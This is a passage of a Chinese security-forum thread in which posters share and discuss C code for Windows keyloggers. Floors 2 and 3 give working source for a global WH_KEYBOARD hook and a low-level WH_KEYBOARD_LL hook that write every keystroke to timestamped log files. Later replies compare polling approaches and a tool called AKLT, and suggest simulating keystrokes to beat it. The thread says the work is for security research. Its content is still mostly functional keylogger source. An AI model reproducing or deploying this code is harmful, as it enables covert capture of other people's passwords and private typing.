能力值:
( LV12,RANK:210 )
|
-
-
2 楼
//定义回调函数
LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam)
{
//记录按键,写入日志文件
if((nCode == HC_ACTION) && (lParam > 0)) //HC_ACTION表示有消息 lParam大于0表示KEY_DOWN
{
DWORD vKCode = wParam;
char Ascii={0};
char path[256]={0};
char filepath[256]={0};
GetModuleFileName(hins,path,256);
ExtractDir(path,path);
strcat(path,"\\Keylog");
DynamicsTimeFilePath(".log",path,filepath);
Ascii=vCodeToAscii(vKCode);
KeyWrite(filepath,&Ascii);
}
return CallNextHookEx(hkb, nCode, wParam ,lParam);
}
//定义InstallHook函数
_declspec(dllexport) BOOL InstallHook()
{
hkb = SetWindowsHookEx(WH_KEYBOARD,HookProc,hins,0); //安装全局钩子
if(hkb!=NULL)
{
OutputDebugString("InstallHook Success\n");
return 1;
}
return 0;
}
//定义UninstHook函数
_declspec(dllexport) BOOL UninstHook()
{
if(hkb!=NULL)
{
BOOL fRet = UnhookWindowsHookEx(hkb);
if(fRet)
{
OutputDebugString("UninstHook Success\n");
return 1;
}
}
return 0;
}
|
能力值:
( LV12,RANK:210 )
|
-
-
3 楼
#ifndef _PUBLIC
#define _public
#include <windows.h>
#include "../Public/public.h"
#endif
HHOOK hook;
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
DWORD dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
if( nCode == HC_ACTION )
{
switch(wParam)
{
case WM_KEYDOWN:
{
PKBDLLHOOKSTRUCT kbd=(PKBDLLHOOKSTRUCT)lParam;
char Ascii={0};
char path[256]={0};
char filepath[256]={0};
GetModuleFileName(NULL,path,256);
ExtractFileDir(path,path);
strcat(path,"\\Keylog");
DynamicsTimeFilePath(".log",path,filepath);
Ascii=vCodeToAscii(kbd->vkCode);
KeyWrite(filepath,&Ascii);
}break;
}
}
return CallNextHookEx(hook,nCode,wParam,lParam);
}
void Method1Install()
{
//安装#define WH_KEYBOARD_LL 13
hook = SetWindowsHookEx(13, LowLevelKeyboardProc, GetModuleHandle(NULL), 0 );
if( hook != NULL)
{
OutputDebugString("Install Success");
}
else
{
OutputDebugString("Install Fail");
DWORD ret=GetLastError();
}
}
void Method1Uninst()
{
//卸载WH_KEYBOADR_LL钩子
if(UnhookWindowsHookEx(hook))
{
OutputDebugString("Uninst WH_KEYBOARD_LL");
}
}
|
能力值:
( LV12,RANK:210 )
|
-
-
4 楼
GetKeyState GetAsyncKeyState GetKeyBoardState。这三种方式发现效果不咋地。但是AKLT做的还算可以。至少不会出现重复记录,虽然无法处理大小写,及复杂的一些按键情况。
纯粹出于安全研究,提高安全保护手段。
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
这个东西很好过,他好像是通过定时器来记录的,你可以试试用定时器来模拟按键,速度会超过他的
|
能力值:
( LV8,RANK:120 )
|
-
-
6 楼
竹君兄你真是有耐心啊,期待着你的作品开源
GetKeyState GetAsyncKeyState GetKeyBoardState,这3个函数,
应该先好好看看文档,然后再想想在代码上是有什么不足,导致了效果不及aklt。
说说我的想法而已
|
|
|